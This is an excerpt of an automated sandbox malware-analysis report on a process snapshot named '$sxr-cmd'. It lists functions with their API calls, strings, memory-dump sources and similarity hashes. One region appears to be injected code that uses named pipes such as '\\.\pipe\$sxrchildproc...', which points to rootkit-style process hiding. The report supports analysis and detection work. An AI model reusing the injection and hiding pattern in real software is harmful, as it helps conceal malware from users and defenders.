calloc.MSVCRT ref: 00007FF615520EA2
calloc.MSVCRT ref: 00007FF615520F5A
wcschr.MSVCRT ref: 00007FF615520F9E
memmove.MSVCRT ref: 00007FF615521001
memmove.MSVCRT ref: 00007FF615521021

Strings

&()[]{}^=;!%'+,`~, xrefs: 00007FF615520E39, 00007FF615520F97

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: memset$callocfreememmovewcschr$AttributesErrorFileLastqsorttowupperwcsrchr
String ID: &()[]{}^=;!%'+,`~
API String ID: 2516562204-381716982
Opcode ID: 46497fca5754c6479966f60d4708fe0825c75a770e24346d8a6fbe1751f9d7e4
Instruction ID: dc9d6c7144b8c2286d519fdc76b1fdc65f8cc178bffa48deb78f312676192bdf
Opcode Fuzzy Hash: 46497fca5754c6479966f60d4708fe0825c75a770e24346d8a6fbe1751f9d7e4
Instruction Fuzzy Hash: D7C1813AA15A91C6E7548F25E84067EB7A1FB44FA4F445135DE8D83BA8DF3CE891C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF615507E80 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 210COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6154FD3F0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF6154FD46E
Part of subcall function 00007FF6154FD3F0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF6154FD485
Part of subcall function 00007FF6154FD3F0: wcschr.MSVCRT ref: 00007FF6154FD4EE
Part of subcall function 00007FF6154FD3F0: iswspace.MSVCRT ref: 00007FF6154FD54D
Part of subcall function 00007FF6154FD3F0: wcschr.MSVCRT ref: 00007FF6154FD569
Part of subcall function 00007FF6154FD3F0: wcschr.MSVCRT ref: 00007FF6154FD58C

iswspace.MSVCRT ref: 00007FF615507EEE

Strings

A, xrefs: 00007FF6155101B6

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: wcschr$Heapiswspace$AllocProcess
String ID: A
API String ID: 3731854180-3554254475
Opcode ID: 41f65c48cf3e37159ed1ee97e5992bf17c61e45d372bd9afbfce449b4f210755
Instruction ID: a24af72395027e46d9aefe316b3966f3a18c655a0ed1f4c24dd0030b20d024a3
Opcode Fuzzy Hash: 41f65c48cf3e37159ed1ee97e5992bf17c61e45d372bd9afbfce449b4f210755
Instruction Fuzzy Hash: 57A15029A09E8286E6609F61A850279FBA0FF45FB4F548035DA4DC77B5EF3CE845DB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61551A39C Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 111libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExW.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0 ref: 00007FF61551A3EA
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0 ref: 00007FF61551A40C
ReadProcessMemory.API-MS-WIN-CORE-MEMORY-L1-1-0 ref: 00007FF61551A47B
ReadProcessMemory.API-MS-WIN-CORE-MEMORY-L1-1-0 ref: 00007FF61551A4D3
ReadProcessMemory.API-MS-WIN-CORE-MEMORY-L1-1-0 ref: 00007FF61551A508
ReadProcessMemory.API-MS-WIN-CORE-MEMORY-L1-1-0 ref: 00007FF61551A54A

Strings

NTDLL.DLL, xrefs: 00007FF61551A3E1
NtQueryInformationProcess, xrefs: 00007FF61551A402

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: MemoryProcessRead$AddressLibraryLoadProc
String ID: NTDLL.DLL$NtQueryInformationProcess
API String ID: 1580871199-2613899276
Opcode ID: 248bfccf7fce2d74e04c554d0a409a3469e52293056c2e4adbebd786e6cf1904
Instruction ID: 9bff9a7803e188b8e26b487efc76ea668209d9f5887566ba6db609cf89dace5d
Opcode Fuzzy Hash: 248bfccf7fce2d74e04c554d0a409a3469e52293056c2e4adbebd786e6cf1904
Instruction Fuzzy Hash: 70514B76A19F8286EB108F25E840679A7F4FB88FA4F455135DA5E87B68DF3CD801C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154F7420 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 101fileCOMMON

Download Yara Rule

APIs

_wcsicmp.MSVCRT ref: 00007FF6154F74A1
CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6154F74E8
_open_osfhandle.MSVCRT ref: 00007FF6154F7509
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0 ref: 00007FF615514931

Strings

con, xrefs: 00007FF6154F748A

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: CloseCreateFileHandle_open_osfhandle_wcsicmp
String ID: con
API String ID: 689241570-4257191772
Opcode ID: c7a2234d9573f6b473384a9ead2fa3a6435853c7d94b0c157743cf5a0c0f015b
Instruction ID: 48ab0aa29d10d6b7ea7706b37008d1743b859ccdd20a31471c869d38331ccc22
Opcode Fuzzy Hash: c7a2234d9573f6b473384a9ead2fa3a6435853c7d94b0c157743cf5a0c0f015b
Instruction Fuzzy Hash: B8417136A08A45C6E6108F299484379FAA1FB49FB5F558335DA2D937E0CF3DDC498740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61551A58C Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 97memoryfileCOMMON

Download Yara Rule

APIs

CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF61551A5DC

Part of subcall function 00007FF61551A8D4: ReadFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF61551A8F1

SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF61551A62E
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF61551A68B
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF61551A6A0
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF61551A6DE
RtlFreeHeap.NTDLL ref: 00007FF61551A6F2
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0 ref: 00007FF61551A701

Strings

PE, xrefs: 00007FF61551A65C

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: Heap$File$Process$AllocCloseCreateFreeHandlePointerRead
String ID: PE
API String ID: 2941894976-4258593460
Opcode ID: 331757eb63d1f0c0e0f6f41cd200ca790172e856099f574e6941fdd4e3218fed
Instruction ID: e72075cc2ff0582a7800ca37370e8ed00c2cd56a936f690eb14cc7fcfda09ca3
Opcode Fuzzy Hash: 331757eb63d1f0c0e0f6f41cd200ca790172e856099f574e6941fdd4e3218fed
Instruction Fuzzy Hash: B2419379A08A9186EA208F11E450279FBF0FB89FA0F454230DE5D83BA5DF7CE845CB40

Uniqueness

Uniqueness Score: -1.00%

Function 0000020D0B622444 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52filethreadCOMMON

Download Yara Rule

APIs

GetProcessIdOfThread.KERNEL32 ref: 0000020D0B622459
GetCurrentProcessId.KERNEL32 ref: 0000020D0B622463

Part of subcall function 0000020D0B6219AC: OpenProcess.KERNEL32 ref: 0000020D0B6219CA
Part of subcall function 0000020D0B6219AC: IsWow64Process.KERNEL32 ref: 0000020D0B6219E0
Part of subcall function 0000020D0B6219AC: CloseHandle.KERNEL32 ref: 0000020D0B6219FB

CreateFileW.KERNEL32 ref: 0000020D0B6224BC
WriteFile.KERNEL32 ref: 0000020D0B6224E4
ReadFile.KERNEL32 ref: 0000020D0B622503
CloseHandle.KERNEL32 ref: 0000020D0B62250C

Strings

\\.\pipe\$sxrchildproc38764243a64, xrefs: 0000020D0B62248C
\\.\pipe\$sxrchildproc34226543a32, xrefs: 0000020D0B622493

Memory Dump Source

Source File: 00000010.00000002.2907303660.0000020D0B620000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000020D0B620000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_20d0b620000_$sxr-cmd.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\$sxrchildproc34226543a32$\\.\pipe\$sxrchildproc38764243a64
API String ID: 2171963597-1213686612
Opcode ID: 222afe9738357af78c0991e138f7f32301e44ba52e3deabe560e99e21132f038
Instruction ID: 241303c5758983f69d981ed64eef12adeecb75c0c544caa9441ccd752c9e3ef5
Opcode Fuzzy Hash: 222afe9738357af78c0991e138f7f32301e44ba52e3deabe560e99e21132f038
Instruction Fuzzy Hash: 31217F32619B4082FB10CB64F55835A73B2F389BA5F904215EA5E4ABA9EF7DC149CF00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF615500010 Relevance: 13.7, APIs: 9, Instructions: 163fileCOMMON

Download Yara Rule

APIs

SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00000000,0000237B,00000000,00000002,0000000A,00000001,00007FF61551849D,?,?,?,00007FF61551F0C7), ref: 00007FF615500045
AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,00007FF61551F0C7,?,?,?,?,0000000B,?,00000002,00000000,?,?,0000002F,00007FF61551E964), ref: 00007FF615500071
ReadFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF615500092
ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FF6155000A7
SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF615500148
MultiByteToWideChar.API-MS-WIN-CORE-STRING-L1-1-0 ref: 00007FF615500181

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: File$LockPointerShared$AcquireByteCharMultiReadReleaseWide
String ID:
API String ID: 734197835-0
Opcode ID: 350a32b8b7773a328a2c6bfa9f033ab7091b859c3389a923f16ee056ea562ebb
Instruction ID: 5a6128d5b1f84a9d5a3abd56e4a14d0421edd286c5cd2576514db6ea48c9698f
Opcode Fuzzy Hash: 350a32b8b7773a328a2c6bfa9f033ab7091b859c3389a923f16ee056ea562ebb
Instruction Fuzzy Hash: 5461613A90CE9286E7208B25A804379FAA1BB45F68F848136D94EC37B4DF7CEC45C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF615519B0C Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 261registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF615519B77
RegEnumKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF615519CD2
wcsrchr.MSVCRT ref: 00007FF615519D47
RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0 ref: 00007FF615519E38

Strings

., xrefs: 00007FF615519B96
\Shell\Open\Command, xrefs: 00007FF615519B8F, 00007FF615519DE6
%s=%s, xrefs: 00007FF615519C81, 00007FF615519E85

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: Enum$Openwcsrchr
String ID: %s=%s$.$\Shell\Open\Command
API String ID: 3402383852-1459555574
Opcode ID: c43f82accf2197ad62986fa4fadf1decf1ac45d35886ea9e70cf93cd770afeea
Instruction ID: 28e770eefd48eb5c3401986fe896cc90c8cb28500715102b154cca92d5211f48
Opcode Fuzzy Hash: c43f82accf2197ad62986fa4fadf1decf1ac45d35886ea9e70cf93cd770afeea
Instruction Fuzzy Hash: B6A1A46AA08E4282EE109F55D0902BAE7B0EF85FB4F444635DA4E877A5DF7CED41C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF615507610 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 228COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF61550768B
memset.MSVCRT ref: 00007FF6155076B4

Part of subcall function 00007FF6154FCA40: memset.MSVCRT ref: 00007FF6154FCAB3

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF6155077F5
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF615507815

Part of subcall function 00007FF615508198: wcscmp.MSVCRT ref: 00007FF6155081EA
Part of subcall function 00007FF615508198: wcscmp.MSVCRT ref: 00007FF6155081FD

Strings

%s, xrefs: 00007FF61550FC14

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: memset$wcscmp
String ID: %s
API String ID: 243296809-3043279178
Opcode ID: b0ad3edef7fc64e03d81687a8a254aeebb6f4c69458638a3e2c38bf1209308ef
Instruction ID: 82c8245e6e8133575b7ac79b79dfe2e57c7abffd07cf5c9075108ff8e4ee87ea
Opcode Fuzzy Hash: b0ad3edef7fc64e03d81687a8a254aeebb6f4c69458638a3e2c38bf1209308ef
Instruction Fuzzy Hash: 9EA18226709E8696EB65DF25D8403F9A790FF48FA8F544036CA4EC76A5DF3CEA458300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154F1F90 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 174COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF6154F2058

Part of subcall function 00007FF6154FCA40: memset.MSVCRT ref: 00007FF6154FCAB3

memset.MSVCRT ref: 00007FF6154F20C1
GetEnvironmentVariableW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF6154F20D2
GetEnvironmentVariableW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF6154F2117
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF6154F21DC

Strings

DIRCMD, xrefs: 00007FF6154F20C9, 00007FF6154F2109

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: memset$EnvironmentVariable
String ID: DIRCMD
API String ID: 1405722092-1465291664
Opcode ID: ffb8ac6f460930c1464a251cfe4f6a37909ed3687fd59a2300d1627ea223b7d7
Instruction ID: bb5777926a307ba215285f529d2f03b224a12e9f1942d4b3bee329531006ba9f
Opcode Fuzzy Hash: ffb8ac6f460930c1464a251cfe4f6a37909ed3687fd59a2300d1627ea223b7d7
Instruction Fuzzy Hash: 49817F72A18FC28AEB20CF74E8802ED77A4FB48B58F104139DA8D97B69DF38D5558704

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154F99F0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6154FCD90: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,00007FF6154FB9A1,?,?,?,?,00007FF6154FD81A), ref: 00007FF6154FCDA6
Part of subcall function 00007FF6154FCD90: RtlAllocateHeap.NTDLL(?,?,?,00007FF6154FB9A1,?,?,?,?,00007FF6154FD81A), ref: 00007FF6154FCDBD

wcschr.MSVCRT ref: 00007FF6154F9A39

Part of subcall function 00007FF6154FDF60: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,00000000,00000000,00007FF6154FCEAA), ref: 00007FF6154FDFB8
Part of subcall function 00007FF6154FDF60: RtlFreeHeap.NTDLL ref: 00007FF6154FDFCC
Part of subcall function 00007FF6154FDF60: _setjmp.MSVCRT ref: 00007FF6154FE03E

wcschr.MSVCRT ref: 00007FF6154F9AF0
wcschr.MSVCRT ref: 00007FF6154F9B0F

Part of subcall function 00007FF6154F96E8: memset.MSVCRT ref: 00007FF6154F97B2
Part of subcall function 00007FF6154F96E8: ??_V@YAXPEAX@Z.MSVCRT ref: 00007FF6154F9880

_wcsupr.MSVCRT ref: 00007FF61550B844
wcscmp.MSVCRT ref: 00007FF61550B86D

Strings

FOR, xrefs: 00007FF61550B863
IF, xrefs: 00007FF61550B850

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: Heap$wcschr$Process$AllocateFree_setjmp_wcsuprmemsetwcscmp
String ID: FOR$ IF
API String ID: 557945885-2924197646
Opcode ID: f7cff311b475cb809cbefbcbc2ea312c8d083385a1c2e3cb15cb3788630bb160
Instruction ID: 910eaedead6930c7bd8c2edd1f10ec605fd2b992b87bede32f48d75d85c56c0c
Opcode Fuzzy Hash: f7cff311b475cb809cbefbcbc2ea312c8d083385a1c2e3cb15cb3788630bb160
Instruction Fuzzy Hash: EF517B28F09E4281EE59AF2A9454279A7A1AF85FB4B484236D91ED77F1DF3CEC018300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6154FF173 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 119COMMON

Download Yara Rule

APIs

iswdigit.MSVCRT ref: 00007FF6154FF0D6
iswspace.MSVCRT ref: 00007FF6154FF1BA
wcschr.MSVCRT ref: 00007FF6154FF1E7
iswdigit.MSVCRT ref: 00007FF6154FF1FF
iswdigit.MSVCRT ref: 00007FF6154FF2BB

Strings

), xrefs: 00007FF6154FF18C
=,;, xrefs: 00007FF6154FF1CE

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: iswdigit$iswspacewcschr
String ID: )$=,;
API String ID: 1959970872-2167043656
Opcode ID: 4f4e76ffb3d3d3f1682d86852f25dc45ca8acbfdb86516db9a39298bef1f035d
Instruction ID: 8cb238b7fdf6f808f1cbe866fc196553dcf279ce3481f9a2638e602806178b48
Opcode Fuzzy Hash: 4f4e76ffb3d3d3f1682d86852f25dc45ca8acbfdb86516db9a39298bef1f035d
Instruction Fuzzy Hash: AB418066E08E5696FB648F1D9544379B6A0AF10F75F445032CD5CC25B4EF3CACA18B81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF61551BA40 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 103COMMON

Download Yara Rule

APIs

iswalpha.MSVCRT ref: 00007FF61551BABA
towupper.MSVCRT ref: 00007FF61551BAD1
GetVolumeInformationW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF61551BB13
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF61551BB2F
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF61551BB48

Strings

%04X-%04X, xrefs: 00007FF61551BBBB
:, xrefs: 00007FF61551BAAF

Memory Dump Source

Source File: 00000010.00000002.2907801024.00007FF6154F1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF6154F0000, based on PE: true

Associated: 00000010.00000002.2907671212.00007FF6154F0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2907949905.00007FF615522000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61552D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF61553F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908115548.00007FF615544000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2908440187.00007FF615549000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6154f0000_$sxr-cmd.jbxd

Similarity

API ID: ErrorLast$InformationVolumeiswalphatowupper
String ID: %04X-%04X$:
API String ID: 930873262-1938371929
Opcode ID: 1b48387342add1d7daed67bb80fe16c2eacc5f7ab2e1033d601e8994222be5e6
Instruction ID: 38ccec4db8636c086c8e75451ce8fa03ec2a43fc4db8365d9636089a407114ea
Opcode Fuzzy Hash: 1b48387342add1d7daed67bb80fe16c2eacc5f7ab2e1033d601e8994222be5e6
Instruction Fuzzy Hash: EF415139A08E42C2EB249B64E4412BAE7A0FB84F74F418136D94DC26E6DF3CD945C710

Uniqueness

Uniqueness Score: -1.00%

Function 0000020D0B62104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 97memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 0000020D0B6210AB
RegEnumValueW.ADVAPI32 ref: 0000020D0B62110E
GetProcessHeap.KERNEL32 ref: 0000020D0B621155
HeapAlloc.KERNEL32 ref: 0000020D0B621163
GetProcessHeap.KERNEL32 ref: 0000020D0B621187
HeapFree.KERNEL32 ref: 0000020D0B621195

Strings

d, xrefs: 0000020D0B6210CE

Memory Dump Source

Source File: 00000010.00000002.2907303660.0000020D0B620000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000020D0B620000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_20d0b620000_$sxr-cmd.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 3405b6d6aca030105382ba4e18177f2fb021de4e8f3198299b80cfe6290b74ba
